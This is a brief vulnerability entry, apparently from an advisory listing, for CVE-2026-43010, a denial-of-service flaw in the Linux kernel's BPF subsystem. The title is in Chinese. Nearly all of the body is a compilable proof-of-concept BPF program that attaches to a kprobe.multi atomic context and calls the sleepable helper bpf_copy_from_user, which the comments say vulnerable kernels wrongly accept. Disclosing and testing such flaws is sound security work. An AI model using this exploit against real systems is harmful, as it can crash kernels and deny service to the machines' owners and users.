CVE-2026-43010 Linux内核BPF组件拒绝服务漏洞

// SPDX-License-Identifier: GPL-2.0 /* * PoC for CVE-2026-43010 * This BPF program attempts to use a sleepable helper * within a kprobe.multi context (atomic context). * Compile with clang -target bpf */ #include <linux/bpf.h> #include <bpf/bpf_helpers.h> // Attempting to attach a sleepable-capable logic to kprobe.multi // In vulnerable kernels, the attach logic does not reject this. SEC("kprobe.multi") int malicious_kprobe(void *ctx) { char buf[64]; // bpf_copy_from_user is a sleepable helper. // Calling this in atomic context triggers the bug. // The vulnerability allows the program to be attached despite this. bpf_copy_from_user(buf, sizeof(buf), (void *)0xdeadbeef); return 0; } char _license[] SEC("license") = "GPL";